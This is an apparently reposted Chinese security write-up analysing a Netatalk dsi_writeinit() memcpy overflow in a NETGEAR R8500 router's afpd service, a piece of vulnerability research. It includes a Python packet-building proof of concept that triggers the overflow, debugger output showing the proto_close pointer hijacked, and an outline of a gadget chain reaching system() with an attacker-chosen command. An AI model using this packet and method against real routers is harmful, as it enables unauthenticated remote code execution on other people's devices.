Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

IoT 1年前 (2023) admin
314 0 0

前言

2022 年 11 月,SSD 发布了一个与 NETGEAR R7800 型号设备相关的漏洞公告。根据该公告,该漏洞存在于 Netatalk 组件 (对应的服务程序为 afpd) 中,由于在处理接收的 DSI 数据包时,缺乏对数据包中某些字段的适当校验,在 dsi_writeinit() 中调用 memcpy() 时存在缓冲区溢出问题。利用该漏洞,攻击者可以在目标设备上实现任意代码执行,且无需认证。该漏洞公告中包含了漏洞的细节以及利用思路,但给出的 poc 脚本仅实现了控制流的劫持,缺少后续代码执行的部分。下面将基于 R8500 型号设备,对漏洞进行简单分析,并给出具体的利用方式。

漏洞分析

Netatalk 组件在很多 NAS 设备或小型路由器设备中都有应用,近几年吸引了很多安全研究人员的关注,陆续被发现存在多个高危漏洞,例如在近几年的 Pwn2Own 比赛中,好几个厂商的设备由于使用了该组件而被攻破,NETGEAR 厂商的部分路由器设备也不例外。

NETGEAR 厂商的很多路由器中使用的是很老版本的 Netatalk 组件

该公告中受影响的目标设备为 R7800 V1.0.2.90 版本,而我手边有一个 R8500 型号的设备,在 R8500 V1.0.2.160 版本中去掉了该组件,因此将基于 R8500 V1.0.2.154 版本进行分析。在 NETGEAR 厂商的 GPL 页面,下载对应设备版本的源代码,其中包含 Netatalk 组件的源码,可以直接结合源码进行分析。以 R8500 V1.0.2.154 版本为例,其包含的 Netatalk 组件的版本为 2.2.5,而该版本发布的时间在 2013 年,为一个很老的版本。

AFP 协议建立在 Data Stream Interface(DSI)之上,DSI 是一个会话层,用于在 TCP 层上承载 AFP 协议的流量。在正常访问该服务时,大概的协议交互流程如下。

Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

其中, 在 DSIOpenSession 请求执行成功后,后续将发送 DSICommand 请求,而处理该请求的代码存在于 afp_over_dsi() 中,部分代码片段如下。正常情况下,程序会在 (1) 处读取对应的请求数据包,之后在 (2) 处根据 cmd 的取值进入不同的处理分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void afp_over_dsi(AFPObj *obj)
{
    /* ... */
    /* get stuck here until the end */
    while (1) {
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);   // (1)
        /* ... */
        switch(cmd) {  	// (2)
            case DSIFUNC_CLOSE:
                /* ...*/
            case DSIFUNC_TICKLE:
                /* ... */
            case DSIFUNC_CMD:
                /* ... */
            case DSIFUNC_WRITE:
                /* ... */
            case DSIFUNC_ATTN:
                /* ... */
            default:
                LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
                dsi_writeinit(dsi, dsi->data, DSI_DATASIZ);  // (3)
                /* ... */

函数 dsi_stream_receive() 的部分代码如下。可以看到,其会读取请求包中的数据,并保存到 dsi->header 和 dsi->commands 等中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int dsi_stream_receive(DSI *dsi)
{
  /* ... */
  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];
  /* ... */
  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) 
    return 0;
  /* ... */

在 afp_over_dsi() 中,在 (2) 处,如果 cmd 的取值不满足对应的条件,将会进入 default 分支,dsi_writeinit() 函数将在 (3) 处被调用。函数 dsi_writeinit() 的部分代码如下。在该函数中,会根据 dsi->header.dsi_code 和 dsi->header.dsi_len 等字段来计算 dsi->datasize,若其满足条件,则会在 (4) 处调用 memcpy()。其中,len 参数与 sizeof(dsi->commands) - header 和 dsi->datasize 等相关。

1
2
3
4
5
6
7
8
9
10
11
12
13
size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
  size_t len, header;

  /* figure out how much data we have. do a couple checks for 0 
   * data */
  header = ntohl(dsi->header.dsi_code);
  dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
  if (dsi->datasize > 0) {
    len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
    /* write last part of command buffer into buf */
    memcpy(buf, dsi->commands + header, len);    // (4) buffer overflow
    /* .. */

根据前面 dsi_stream_receive() 的代码可知,dsi->header.dsi_code 和 dsi->header.dsi_len 字段的值来自于接收的数据包,dsi->commands 中的内容也来自于接收的数据包。也就是说,在调用 memcpy() 时,源缓冲区中保存的内容和待拷贝的长度参数均是用户可控的,而目标缓冲区 buf 即 dsi->data 的大小是固定的。因此,通过精心伪造一个数据包,可造成在调用 memcpy() 时出现缓冲区溢出,如下。

1
2
3
4
5
6
7
8
9
10
11
def create_block(command, dsi_code, dsi_len):
    block = b'\x00' 							# dsi->header.dsi_flags
    block += struct.pack("<B", command) 		# dsi->header.dsi_command
    block += b'\x00\x00'						# dsi->header.dsi_requestID
    block += struct.pack(">I", dsi_code) 		# dsi->header.dsi_code
    block += struct.pack(">I", dsi_len) 		# dsi->header.dsi_len
    block += b'\x00\x00\x00\x00' 				# dsi->header.dsi_reserved
    return block

pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192

漏洞利用

首先,看一下 DSI 结构体的定义, 如下。dsi->data 的大小为 8192,在发生溢出后,其后面的字段也会被覆盖, 包括 proto_open 和 proto_close 两个函数指针。因此,如果溢出后,后面的流程中会用到某个函数指针,就可以实现控制流劫持的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define DSI_CMDSIZ        8192 
#define DSI_DATASIZ       8192

typedef struct DSI {
  /* ... */

  u_int32_t attn_quantum, datasize, server_quantum;
  u_int16_t serverID, clientID;
  char      *status;
  u_int8_t  commands[DSI_CMDSIZ], data[DSI_DATASIZ];
  size_t statuslen;
  size_t datalen, cmdlen;
  off_t  read_count, write_count;
  uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
  const char *program; 
  int socket, serversock;

  /* protocol specific open/close, send/receive
   * send/receive fill in the header and use dsi->commands.
   * write/read just write/read data */
  pid_t  (*proto_open)(struct DSI *);
  void   (*proto_close)(struct DSI *);
  /* ... */
} DSI;

回到 afp_over_dsi() 函数,在 while 循环中其会调用 dsi_stream_receive() 来读取对应的数据包。如果后续没有数据包了,则返回的 cmd 值为 0,根据对应的 dsi->flags,其会调用 afp_dsi_close() 或 dsi_disconnect(),而这两个函数最终都会执行 dsi->proto_close(dsi)。也就是说,在后续的正常流程中会使用函数指针 dsi->proto_close,因此,通过溢出来修改该指针,即可劫持程序的控制流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void afp_over_dsi(AFPObj *obj)
{
    /* ... */
    /* get stuck here until the end */
    while (1) {
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);   // (1)
        if (cmd == 0) {
            /* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
            if (dsi->flags & DSI_AFP_LOGGED_OUT) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
                afp_dsi_close(obj);
                exit(0);
            }
            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }
            if (dsi->flags & DSI_RECONINPROG) {
                LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
                afp_dsi_close(obj);
                exit(0);
            }
            /* Some error on the client connection, enter disconnected state */
            if (dsi_disconnect(dsi) != 0)
                afp_dsi_die(EXITERR_CLNT);
        }
        /* ... */

void dsi_close(DSI *dsi)
{
  /* server generated. need to set all the fields. */
  if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
      dsi->header.dsi_flags = DSIFL_REQUEST;
      dsi->header.dsi_command = DSIFUNC_CLOSE;
      dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
      dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
      dsi->cmdlen = 0; 
      dsi_send(dsi);
      dsi->proto_close(dsi);		// hijack control flow
      /* ... */

基于前面构造的数据包,在劫持控制流时,对应的上下文如下。可以看到,R3 寄存器的值已被覆盖,R4 和 R5 寄存器可控,同时 R0 和 R2 中包含指向 DSI 结构体的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
      0x6a2cc <dsi_close+272>  movw   r3,  #16764       ; 0x417c
      0x6a2d0 <dsi_close+276>  ldr    r3,  [r2,  r3]
      0x6a2d4 <dsi_close+280>  ldr    r0,  [r11,  #-8]	; r0: points to dsi
●→    0x6a2d8 <dsi_close+284>  blx    r3
      0x6a2dc <dsi_close+288>  ldr    r0,  [r11,  #-8]
      0x6a2e0 <dsi_close+292>  bl     0x112c4 <free@plt>
      0x6a2e4 <dsi_close+296>  sub    sp,  r11,  #4
      0x6a2e8 <dsi_close+300>  pop    {r11,  pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
   $r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
   $r1 = 0x000001,
   $r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
   $r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r
r0             0xe8498             0xe8498
r1             0x1                 0x1
r2             0xe8498             0xe8498
r3             0x61616161          0x61616161
r4             0x58585858          0x58585858
r5             0x43385858          0x43385858
r6             0x7                 0x7
r7             0xbec72f65          0xbec72f65
r8             0x10a3c             0x10a3c
r9             0x3e988             0x3e988
r10            0xbec72df8          0xbec72df8
r11            0xbec72c3c          0xbec72c3c
r12            0x401e0edc          0x401e0edc
sp             0xbec72c30          0xbec72c30
lr             0x6fffc             0x6fffc
pc             0x6a2d8             0x6a2d8 <dsi_close+284>

程序 afpd 启用的缓解机制如下,同时设备上的 ASLR 级别为 1DSI 结构体在堆上分配,故发送的数据包均存在于堆上,因此需要基于该上下文,找到合适的 gadgets 完成利用。

1
2
3
4
5
6
cq@ubuntu:~$ checksec --file ./afpd
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

通过对 afpd 程序进行分析,最终找到一个可用的 gadget,如下。其中,[R11-0x8] 中的值指向 DSI 结构体,整个执行的效果等价于 [dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi])。因为 DSI 结构体的地址是固定的,且偏移 0x2834 处的内容可控,通过精心构造数据包,可实现执行 system(arbitrary_cmd) 的效果。

针对不同型号的设备,具体的上下文可能不同,利用可能更简单或更麻烦。

Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

最终效果如下。

Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router

小结

本文基于 R8500 型号设备,对其使用的 Netatalk 组件中存在的一个缓冲区溢出漏洞进行了分析。由于在处理接收的 DSI 数据包时,缺乏对数据包中某些字段的适当校验,在 dsi_writeinit() 中调用 memcpy() 时会出现缓冲区溢出。通过覆盖 DSI 结构体中的 proto_close 函数指针,可以劫持程序的控制流,并基于具体的漏洞上下文,实现了代码执行的目的。

相关链接

 

版权声明:admin 发表于 2023年2月13日 下午10:54。
转载请注明:Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...